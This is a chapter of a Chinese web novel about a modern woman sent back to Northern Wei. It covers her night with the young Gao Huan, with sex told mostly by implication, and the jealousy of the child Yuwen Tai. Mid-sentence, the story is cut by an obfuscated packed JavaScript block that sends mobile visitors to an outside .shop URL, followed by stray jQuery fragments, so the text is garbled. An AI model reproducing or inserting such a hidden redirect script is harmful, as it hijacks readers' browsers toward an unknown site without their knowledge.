文趣网 > 其他小说 > 月华星火照长夜 > 11. 各怀心事
    十四夜里这顿饭吃了整整一个时辰,桌子上的菜被一扫而空,孙腾说到做到,他确实不止偷吃了三块羊肉,据司马子如不完全统计,至少八块。蔡俊喝了两碗粟米粥,一口一个“阿姐”叫得甜得很。段蒂联每应一声“小蔡”,高欢就往蔡俊碗里夹一块肉,用这种无声的方式表达“你再叫她阿姐我就把你喂成猪”的潜台词。侯景坐在角落里默默吃饭,看不出什么表情,段蒂联注意到他至少添了三次饭。

    孙腾和司马子如领头,一群戍卒非要给高欢敬酒,说十八岁生辰是大事,按鲜卑旧俗应该连喝三碗,高欢来者不拒,喝到第四碗的时候段蒂联忍不住了,“少喝点,”伸手按住了高欢端酒碗的手。高欢低头看了看她的手,又看了看她的脸,把酒碗放下了,孙腾刚想说“阿莲你也太偏心了”,被司马子如从桌子底下踹了一脚。

    高娄斤坐在桌子另一头,抱着已经睡着的尉珍珍,看着这一幕,眼眶又红了。她嫁到尉家这么多年,看着六浑从小婴儿长成大人,撑着这个家,从不跟人诉苦,从不说自己想要什么,今天是贺六浑的生辰,也是他十八年来笑得最多的一个晚上。段蒂联此刻正坐在他旁边,帮他挡酒、给他夹菜、在桌子底下悄悄揉了揉被他攥了一整顿饭的手。饭后,段蒂联帮高娄斤收拾了碗筷,几个戍卒喝得东倒西歪,被尉景和尉粲架走了。孙腾走的时候还在喊“阿莲下回再来!贺六浑的十九岁生辰咱们再聚!”,被司马子如捂住了嘴。蔡俊规规矩矩地给段蒂联行了礼,叫了声“阿姐我先回去了”,被高欢看了一眼之后又加了一句“贺六浑哥生辰安康”。院子里终于安静下来,尉粲和金氏去偏房歇了,尉宣和胡氏也回了自己的小屋,尉岺和尉珍珍早就睡熟了,被高娄斤抱进了正屋。高旖罗被段蒂联轻轻抱起来放到偏房的床榻上,盖好被子,小姑娘迷迷糊糊地抓住段蒂联的手:“阿姐你今晚不走好不好……”段蒂联轻轻拍了拍她的手背,没有回答。

    院子里,高欢坐在正屋门槛上,面前放着几个还没拆的礼物:尉景送的一双新皮靴,孙腾和司马子如合送的一把新刀,侯景送的一副马鞍,蔡俊送的一对护腕,高娄斤亲手缝的一件新袍子,赵氏和高树生合送的一套笔墨。

    段蒂联站在他面前,从袖子里掏出一个小小的布包,递过去,“我送的不贵,你别嫌弃。”高欢打开,是一枚月白色的玉佩,正面刻着一弯新月,背面刻了一个极小的“欢”字。玉的成色不算上乘,段蒂联跑遍了云中城的玉器铺子也没找到什么好料子,最后用自己攒了两个多月的功德在月华池里淬了一块,温养了整整七天才勉强炼出这一小块,玉佩在月光下会泛起一层淡淡的银光。高欢握着玉佩,沉默了很久,“阿莲亲手刻的?”

    “……嗯,刻得不太好,那个‘欢’字我描了七遍才下手,笔画还是有点歪,这个是,就是你能带着就带着,护身的……”

    “阿莲,”高欢把玉佩攥在掌心里,抬头看着她,月光下,十八岁的少年那双古井一样深不见底的眼睛里掀起了她从未见过的波澜,“这是我收到过的最好的生辰贺礼,”他说的每一个字都像是从心底深处捞上来的。

    段蒂联忽然想起今天早上在水镜前梳妆时的心情,紧张,忐忑,还有一丝期待。走进怀朔镇城门时城墙上那道灼热的目光,在灶房里被他堵在角落里说“你今天很好看”时骤停的那一拍心跳,想起一整整顿饭他都把最好吃的菜不动声色地挪到她面前。段蒂联二十六岁了,谈过零次恋爱,拒绝过N次追求者,理由千奇百怪“长得不够好看”“性格太闷”“吃相太差”“牙不齐”。被李零落总结为“颜控晚期加细节狂魔”。她一直以为自己这辈子大概会孤独终老,从来没想过自己会跨越一千五百年的时空,站在北魏六镇一个破旧的土院子里,对一个十八岁的戍卒动了心。

    月光描摹着他的侧脸,从眉弓到鼻梁到下颌线,每一寸弧度都是被精心计算过的,更重要的是,他会因为她随口一句“靛蓝衬你”就专门去做一件新袍子;会在她走访全镇的时候用眼神替她清理所有她不喜欢的骚扰;会在饭桌上把她喜欢的菜挪到她面前,会在她踮起脚亲了他一口之后扣住她的手腕亲回来,在月光下说“礼尚往来”。段蒂联在那一瞬间做了一个决定,既然跨越了一千五百年,既然变成了神仙,既然遇见了这么一个人,那她今天就破例一回,哪怕他以后女人不会少,也不会从一而终,零落曾说过高欢有十五个儿子八个女儿,宇文泰的儿女数量也不少。

    高欢这个人最可怕的地方不是长得帅,不是情商高,不是八百个心眼子全用在她身上,是他在某些方面的学习速度快得令人发指。第一次的生涩只持续了很短的时间,他迅速而精准地找到了每一个让她失控的开关,反观段蒂联自己,二十六年来信誓旦旦“男人都是绊脚石”,结果今天一跤绊在了这块石头上。除了开始那阵撕裂的疼,之后她的理智断断续续地掉线重连、再掉线再重连,他低头吻着她眼尾的那抹嫣红,“阿莲,”他的声音低哑,“你是我的。”

    后半夜,月光从窗棂洒进来,清辉满地,段蒂联躺在土炕上,浑身上下从胸口到腰都不是自己的了,每一根骨头都在抗议,刚才在情欲中她脑子里迷迷糊糊地飘过一串念头,现在终于有时间重新捡起来。她在现代的二十六年里,真的没有遇见过一个让她愿意放下所有理智、所有原则、去拥抱的人,在这个离她原本的世界一千五百一十二年的时间里,在一个破败的边镇,一个十八岁的戍卒,让她做到了。

    “我的妈呀……”她抬手捂住脸,“太爷,爷,奶,爸,妈!你们老闺女完蛋了!”

    旁边传来一声轻笑,段蒂联从指缝里侧过头,高欢侧躺在外侧,“笑什么笑!”段蒂联恼羞成怒,抓起枕头拍他脸上。

    高欢伸手把她揽进怀里,低头亲了亲她眼角那抹被他吻了无数遍的嫣红,把她的头按在自己胸口,让她听着自己的心跳。

    “阿莲。”他的声音低沉而笃定。

    “嗯?”

    “等我攒够钱,买了马,立了军功,就娶你。”

    段蒂联沉默了很久,她想起今天下午高娄斤跟她说的话,贺六浑从小就懂事,被阿爹抱给她是尚在襁褓,十一岁进军营,站岗的饷银全拿回家,自己连双新鞋都不舍得买。这样的人,说“攒够钱买马立军功”,那就是拼了命也要做到的事。

    “你得快一点。”带着笑意的声音闷在他胸口,虽然她知道历史上他和娄昭君成婚后才有的马,升职成了队主,没写具体哪年,“太阴星君的庙祝可不等凡人。”

    “不等也得等,阿莲已经是我的人了,跑不掉的。”

    段蒂联很想反驳,最后只在他胸口捶了一下,力道轻得像在拍蚊子。

    与此同时,武川镇

    七岁的宇文泰从梦中惊醒,猛地从床榻上坐起来,呼吸急促,额上全是冷汗,梦里阿姐笑盈盈地朝他伸出手。可是他怎么跑都够不到阿姐的手。一道高大的身影从阿姐身后浮现,身量颀长,看不清脸,气势像山一样,压得他喘不过气来。那人揽住了阿姐的腰,阿姐仰头看了他一眼,消失在了夜色里。

    宇文泰他没有再睡,那个男人穿的是怀朔镇的戍卒制式皮甲他见过,去年秋天怀朔和武川的驻军换防演练,他跟着阿爹去看过。从枕头下拿出那把镶了狼牙的木剑,握在手里,对着院墙狠狠地劈了一剑又一剑。

    宇文玉荷揉着眼睛从偏房里出来,看到四哥在院子里发疯一样地挥剑,吓得后退半步,“四哥你又做噩梦了?”

    “没有,”宇文泰没有回头,“我在练剑。”

    “你才七岁!”

    “七岁怎么了?七岁也可以变强!”

    他把木剑收进剑鞘,转身走出院子,玉荷看到四哥站起来的时候,那双漆黑沉静的眼睛里是七岁孩子本不该有的执拗和坚决,她觉得四哥今天不太对劲,她六岁的脑子还理解不了这种不对劲是什么。

    六月十七,武川

    段蒂联走路的速度比平时慢了,大腿内侧还是有点疼。三天了,那小子留下的印子还没完全消,她体质已经远超常人了,要换个寻常女子……算了甭想了!

    刚走到宇文家门口,宇文泰他站在门框旁边,腰间别着她送的那把镶了狼牙的木剑。

    “阿姐,”他仰起头,眼睛直直地看着段蒂联,抓住了她的手。抓得很紧,比平时紧得多,这架势像怕她突然消失一样。

    “黑獭,阿姐今天……”段蒂联正要解释自己的走访计划,宇文泰打断了她。

    “阿姐今天能陪我吗?就一个时辰,我今天学会自己梳头了,玉荷可以作证。”他顿了顿,声音低了下去,“阿姐上次答应过还要来的。”段蒂联低头看着宇文泰,她直觉这孩子跟平时不太一样,只当是小孩几天没见她黏人程度又升级了。“行,阿姐先去走

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781413|210109||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    访几户,走访完了来陪你。”段蒂联揉了揉他的头发,“嗯?今天头发确实梳得不错!”

    段蒂联在武川镇跑了大半天,宇文泰全程跟在她身后,比任何时候都沉默黏人。以前她走访的时候小黑獭会站在门口等,今天他寸步不离地跟在她旁边,只要有人想拉段蒂联的手表示感谢,他就默默地往前挪一步,几个常跟段蒂联打招呼的大婶都说今天黑獭跟阿莲贴得太紧了。宇文泰只有七岁,他不知道该怎么形容那种感觉,只是本能地意识到,阿姐身上有些东西不一样了,月亮还是那个月亮,但月亮的倒影,不再是他一个人看到的倒影了。

    傍晚,段蒂联在宇文家院子里帮王素择菜,小玉荷坐在她旁边,一边剥豆子一边把她四哥这几天在家干了什么全倒了个干净,什么天不亮就起来梳头、对着院墙劈了半个时辰的木剑……

    段蒂联愣了一下,“黑獭,”她喊他。

    宇文泰转过头,“阿姐?”他的声音倒是平静如常。

    “没事,你浇完水过来吃果子,今天从山上摘的。”

    六月十七,怀朔

    高欢站在城墙上,手里攥着那枚月白色的玉佩,拇指摩挲着背面那个歪歪扭扭的“欢”字。

    “贺六浑哥又在看大青山。”蔡俊抱着长矛从他旁边经过,脸上带着促狭的笑容。

    “站你的岗,”高欢把玉佩塞进领口,恢复了平时那种沉稳淡定的模样,他望向大青山的方向,指尖隔着衣料按了按胸口的玉佩。三天了,他还能想起十四那晚她躺在月光里的样子,眼角嫣红,鬓发散乱,嘴唇被他吻得发肿,明明累得胳膊抬不起来,还能给他胸口一拳。

    同一日,武川贺拔家

    刚从沃野镇换防回来的贺拔胜正坐在院子里擦刀,他的大哥贺拔允三弟贺拔岳,老爹贺拔度拔围坐一圈,聊着这几个月行军路上的见闻。“怀朔那边有个叫高欢的,小字贺六浑,”贺拔胜把刀翻了个面,在磨刀石上蹭了两下,“年纪不大,才十八,我看气度在怀朔是头一份的,那边的戍卒不管是老油子还是愣头青,都服他。”

    贺拔岳喝了口水,问道:“高欢?怀朔镇那个高树生的儿子?听说他祖父高谧是坐法徙居到怀朔的?”

    “就是他,他姐夫尉景在怀朔镇狱当狱吏,也是个人物。”贺拔胜把刀举起对着日光看了看刃口,“宇文家的黑獭还有独孤库者家,赵虔家,侯莫陈兴那几家的小子要是再大几岁,还有这高欢,以后还怕什么柔然?”

    贺拔度拔抬起头,若有所思地看了他一眼,“破胡,你上次说黑獭格外黏大青山上那位庙祝,看来不只是小孩子的心性。”他的声音低沉,带着几分过来人的洞察,“那孩子的脾气你又不是不知道,从小就倔,认准了的事九头牛都拉不回来。阿莲姑娘是太阴星君的庙祝,就算年纪差了些,等那孩子长大……”

    “阿爹”贺拔胜放下刀,“黑獭才七岁,你现在想这个是不是早了点?”

    “不早了,在这六镇,七岁已经算半个大人了,你当年七岁的时候不也嚷嚷着要娶隔壁王家的丫头?”

    贺拔胜被自己亲爹拆了台,大哥和三弟在一边笑得差点从台阶上滚下去。月光下,六镇的夯土城墙静静伫立。这片荒凉贫瘠的土地上,贺拔允,贺拔胜,贺拔岳,高欢、宇文泰、独孤如愿、赵贵、侯莫陈崇、梁御、若干惠,以及无数还没有在史书上留下姓名的年轻人,正在各自的人生轨迹上还没有走上历史的舞台,不知道自己未来将要掀起的滔天巨浪,他们心里都记住了一个名字,段蒂联,一位阴差阳错误入历史的2026年的在职公务员,有了她这只小蝴蝶的介入,三次元既定历史线正在发生巧妙的偏移,形成一条新的月华历史线。

    现代,2026年6月的西安,人类版段蒂联同志抓耳挠腮的把北齐书和周书的后妃传放在一起看,“这俩人都不是省油的灯啊,这边一堆那边一堆,当然,咱也不能拿现代人的眼光去审判古人的生活,人家周文王还一百个儿子呢。”她摘下眼镜走向窗边,“古代的我应该也知道封建社会下谈一场独占的真爱不现实,零落那丫头小学时看小说都明白这个道理……”

    →→恭喜高王拿下月神同志,未成年的黑獭小朋友从此开启又争又抢的弟弟模式,江山不让,阿姐也不让。以及贺拔破胡同志,在下真不是故意要这么写的,现阶段在下只能凭想象塑造你们成名以前的边镇生活。